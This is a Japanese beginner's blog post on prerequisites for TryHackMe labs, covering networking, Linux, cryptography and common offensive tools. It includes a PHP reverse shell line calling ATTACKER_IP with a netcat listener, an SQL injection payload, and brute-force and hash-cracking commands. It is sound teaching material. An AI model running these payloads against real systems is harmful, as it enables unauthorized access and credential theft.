TryHackMeでサイバーセキュリティを学ぶための事前知識(9月活動報告)

2024/10/16 Bash PHP Python セキュリティ 活動報告

TryHackMeでサイバーセキュリティを学ぶための事前知識

1. 基本的なネットワークの知識

サイバーセキュリティにおいて、ネットワークに関する知識は欠かせません。以下のポイントは、TryHackMeのルームを解く上で重要な基礎知識となります。

  • IPアドレスとサブネット: IPアドレスはネットワーク上のデバイスを識別するために使われます。サブネットは、ネットワークを複数の小さなセグメントに分割する手法です。
  • DNS(ドメインネームシステム): ドメイン名をIPアドレスに変換するシステムで、ウェブサイトのアドレスを入力するときに使われます。
  • HTTPとHTTPS: ウェブ通信に使われるプロトコルです。HTTPSは暗号化されており、セキュリティ面で優れています。

2. Linuxの基本操作

TryHackMeの多くのルームはLinux環境で動作します。そのため、基本的なLinuxコマンドの操作ができることは非常に有利です。以下は、最低限習得しておくべきコマンドです。

  • ls: ファイルやディレクトリの一覧を表示する。
  • cd: ディレクトリを移動する。
  • cp / mv: ファイルをコピー/移動する。
  • chmod: ファイルやディレクトリのアクセス権限を変更する。

これらのコマンドをマスターすることで、システム内の情報を効率的に操作できるようになります。

3. 基本的なプログラミングの知識

ハッキングやセキュリティ対策の多くはスクリプトを使って自動化されます。そのため、少なくとも1つのプログラミング言語、特にPythonやBashの基礎を学んでおくと役立ちます。

  • Python: Webサーバーの操作やネットワーク攻撃のシミュレーションに使われます。
  • Bash: Linuxシステム上でシェルスクリプトを作成し、タスクを自動化できます。
  • PHP: Webアプリケーションの開発に広く使用され、サーバーサイドのスクリプト言語として動的なウェブページの作成やデータベース操作に利用されます。多くのウェブサイトやコンテンツ管理システム(CMS)で採用されているため、セキュリティ評価の際に重要な言語です。

4. 基本的な暗号化の知識

TryHackMeでは、暗号化に関する問題が頻繁に出題されます。暗号化の基本を理解しておくと、セキュリティの概念をより深く学ぶことができます。

  • 対称鍵暗号: 送信者と受信者が同じ鍵を使って暗号化と復号を行う方式です。
  • 公開鍵暗号: 公開鍵で暗号化し、秘密鍵で復号する方式です。
  • ハッシュ関数: データの一方向性変換を行い、データの完全性を検証するために使われます。

5. バーチャルマシンの使用

TryHackMeでは、バーチャルマシン(VM)を使って問題を解くことが推奨されます。VMは、物理的なマシンとは独立した仮想環境で、ホストマシンに影響を与えずに作業が可能です。

  • VirtualBoxやVMware: Windows、Linux、またはMacで仮想環境を作成するために使います。
  • Kali Linux: セキュリティテストに特化したLinuxディストリビューションで、様々なツールがプリインストールされています。

6. 重要な概念とツールの使用法

pingとは

pingは、ネットワーク疎通確認のための基本的なコマンドです。指定したIPアドレスやドメインにICMPパケットを送信し、応答が返ってくるかを確認します。これにより、通信相手が正常に動作しているか、ネットワーク経路に問題がないかを素早く検証できます。

  • 基本コマンド: ping <IPアドレス> で、指定されたホストにパケットを送信します。
  • Ping値: ミリ秒(ms)で表され、応答までの時間を示します。値が小さいほど、ネットワークの応答が早いことを意味します。

ポート

ポートは、ネットワーク通信においてデータの送受信を行うためのエントリポイントです。ポート番号は0から65535までの範囲があり、特定のポート番号は特定のサービスに割り当てられています。

  • システムポート (0-1023): 例えば、ポート80はHTTP、443はHTTPS、53はDNS、3389はリモートデスクトップサービスに使われます 。
  • ユーザーポート (1024-49151): アプリケーションの通信に使用されるポートです。
  • 動的・私用ポート (49152-65535): クライアント側で一時的に使用されることが多いです。

ツール: Nmap

Nmapは、ポートスキャンやホストの発見に使用されるネットワークスキャナです。Nmapを使ってオープンポートを確認し、脆弱なサービスを特定できます。

  • 基本コマンド: nmap -sS <ターゲットIP>
  • 特定ポートスキャン: nmap -p 80,443 <ターゲットIP>
  • OS検出: nmap -O <ターゲットIP>

RustScanとNmapとの違い

RustScanとNmapはどちらもポートスキャンツールですが、以下の点で異なります。

  • RustScan: Rust言語で開発され、Nmapよりも高速にポートスキャンを行います。全ポートのスキャンを完了した後、Nmapのスクリプトを使って詳細なスキャンを行うことができるため、大規模なネットワークでのスキャンに向いています。
  • Nmap: ネットワークの詳細な分析が可能で、ポートスキャン以外にもサービスやOSの検出、脆弱性の確認に強みがあります。全ポートに対してスクリプトを使用するため、時間がかかる場合があります。

コマンド例:

  • RustScan: rustscan -a <IPアドレス>
  • Nmap: nmap -sS <IPアドレス>

隠しディレクトリ

ウェブサーバーには、隠されたディレクトリが存在する場合があり、これを特定することは重要です。攻撃者はディレクトリを探索し、脆弱なポイントを見つけることがあります。

ツール: Gobuster

Gobusterは、ウェブサーバー上の隠しディレクトリを辞書ベースで探索するツールです。

  • 基本コマンド: gobuster dir -u <URL> -w <ワードリスト>
  • 主なオプション:
    • -u: スキャン対象のURLを指定
    • -w: 使用するワードリストを指定
    • -x: ファイル拡張子を指定してスキャン

Wfuzzとは

Wfuzzは、Webサーバー上の隠されたディレクトリやパラメータを探すためのファジングツールです。指定した単語リストを使ってURLやフォームフィールドを探索し、隠されたリソースを見つけることができます。主にWebアプリケーションの評価や脆弱性検査に使用されます。

  • 基本コマンド:
    wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://target/FUZZ
    
    Bash
    • -z: 使用するペイロードを指定
    • --hc: 特定のHTTPステータスコードを除外

SQL文

SQL (Structured Query Language) は、リレーショナルデータベースを操作するための言語です。主な操作には以下の4種類があります。

  • SELECT: データの検索
  • INSERT: データの挿入
  • UPDATE: データの更新
  • DELETE: データの削除

これらのコマンドを組み合わせてデータベースの情報を操作します。

SQLインジェクション

SQLインジェクションは、ユーザー入力に悪意のあるSQL文を含めることで、データベースを不正に操作する攻撃手法です。これにより、データの漏洩や改ざんが可能となり、重大なセキュリティリスクを引き起こします。

SQLインジェクションの仕組み

攻撃者は、ユーザー入力フィールドにSQL文を挿入し、通常のクエリにそのまま追加させます。たとえば、次のようなログインフォームがあるとします。

SELECT * FROM users WHERE username = '' OR '1'='1';
SQL

ツール: Sqlmap

Sqlmapは、SQLインジェクションの脆弱性を自動検出し、データベース操作を行うツールです。

  • 基本コマンド: sqlmap -u <URL> --dbs(データベースを列挙)
  • 代表的なSQLインジェクション手法: ' OR '1'='1 を使用し、常に真となるSQL文を実行する 。

PHPとは

PHPは、動的なWebページを生成するためのサーバーサイドスクリプト言語です。主にWebアプリケーション開発に使用され、MySQLなどのデータベースと連携して動的なコンテンツを作成します。WordPressやDrupalなど、広く普及したCMSでも利用されています。

  • 役割: ユーザーのリクエストに応じてサーバー側で処理を行い、その結果をWebページとして返します。フォーム送信やログイン機能など、インタラクティブな要素に対応できます。

  • :

    <?php
    echo "Hello, World!";
    ?>
    
    PHP

PHPリバースシェルについて

PHPリバースシェルは、攻撃者がターゲットサーバーにアップロードして実行することで、攻撃者のマシンにリバース接続し、ターゲット上でコマンドを実行できるシェルです。これは主に、脆弱なPHPアプリケーションが存在するWebサーバーで使用され、ターゲットシステムにアクセスするための手段となります。

使用方法

PHPリバースシェルは、攻撃者がリスニング状態にあるネットキャット(Netcat)へ接続するように設定されています。ターゲットサーバーにシェルがアップロードされ、実行されると、リモートでコマンドを送信し、システムを操作できます。

  • 基本的なコード例:
<?php
  $sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");
?>
PHP
  • リスニングコマンド: 攻撃者は、Netcatを使用して次のコマンドで待機します。
nc -lvnp 4444
Bash

pwncatについて

pwncatは、リバースシェルやバインドシェルを処理するためのPython製のツールで、攻撃者がターゲットシステムに接続した際に、持続的なバックドアの設置やファイル操作を容易にすることができます。

使用方法

  • リスニングモード: 攻撃者が待機してリバースシェルの接続を待つ際に使用します。
pwncat -l -p 4444
Bash
  • 接続モード: リモートホストに直接接続します。
pwncat -c <ターゲットIP> -p 4444
Bash

root権限

root権限は、システム全体を管理できる権限です。攻撃者がroot権限を取得すると、システム全体が危険にさらされます。

root権限とsudo

LinuxやUnix系システムでは、root権限を持つユーザーは、システム全体を制御することができます。すべてのファイルへのアクセスや他のユーザーのパスワード変更が可能なため、誤操作や不正使用は大きなリスクとなります。

sudoコマンド

sudoは、特定のコマンドに対して一時的にroot権限を付与するためのコマンドです。これにより、通常のユーザーでもシステム管理者レベルの操作が可能となります。

基本コマンド: sudo <コマンド> このコマンドを実行するときに、ユーザーのパスワードが要求されます。 sudo -l: 実行可能なコマンドの一覧を表示 sudo -u <ユーザー>: 指定したユーザーの権限でコマンドを実行 。

パスワードクラッキングの種類について

パスワードクラッキングは、不正アクセスを行うためにパスワードを推測・解析する手法です。代表的なものは以下の2種類です。

  • ブルートフォース攻撃: 可能性のあるすべての文字列を試す手法です。時間がかかるものの、理論的には必ずパスワードを発見できます。
  • 辞書攻撃: 予測されるパスワードのリスト(辞書)を用意し、その中から実際のパスワードを試します。ブルートフォース攻撃に比べて高速ですが、辞書に含まれていないパスワードには無力です。

ツール: Hydra

Hydraは、ブルートフォース攻撃を行い、ログイン認証情報を突破するためのツールです。

  • 基本コマンド: hydra -l <ユーザー名> -P <パスワードリスト> <ターゲットIP> ssh

SSHについて

**SSH(Secure Shell)**は、リモートマシンと安全に通信するためのプロトコルです。暗号化されたセッションを作成し、リモートシステムへの安全なアクセスを提供します。

使用方法

  • 接続:
ssh user@hostname
Bash
  • 鍵ペアの生成:
ssh-keygen
Bash

Hashcatについて

Hashcatは、パスワードハッシュをクラックするためのツールで、辞書攻撃やブルートフォース攻撃をサポートしています。多数のハッシュアルゴリズムに対応しており、高速な解析が可能です。

使用方法

  • 基本コマンド:
hashcat -m 0 -a 0 hash.txt wordlist.txt
Bash

Base64について

Base64は、バイナリデータをテキストデータに変換するエンコード方式です。主に、メールの添付ファイルやURLエンコードなどで利用され、データを64種類の文字(a-z, A-Z, 0-9, +, /)で表現します。

使用方法

  • エンコード: echo -n "test" | base64
  • デコード: echo -n "dGVzdA==" | base64 --decode

Steghideについて

Steghideは、画像や音声ファイルにデータを隠すステガノグラフィツールです。隠された情報は特定のコマンドを使って抽出することができます。

使用方法

  • データ埋め込み:
steghide embed -cf image.jpg -ef secret.txt
Bash
  • データ抽出:
steghide extract -sf image.jpg
Bash

TryHackMeで課題として与えられているflagとは

TryHackMeでは、セキュリティに関する学習を目的とした仮想環境内での課題が与えられます。その中で「flag」とは、特定のセキュリティ問題を解いた証拠として提供される文字列です。攻撃対象システム内で隠されており、問題を解決する過程でこのflagを発見することが目標となります。

  • : THM{example_flag} のような文字列がファイルやシステム内部に隠されており、それを見つけ出すことが目的です。

まとめ

TryHackMeでサイバーセキュリティを学ぶためには、ネットワーク、Linux、プログラミング、暗号化、そしてバーチャルマシンの使用に加えて、ポートスキャンやディレクトリ検索、SQLインジェクションといった具体的な攻撃手法を理解することが重要です。これらのツールを使いこなすことで、実践的なスキルを身につけることができます。ぜひ、TryHackMeに挑戦して、楽しくスキルを磨いていきましょう!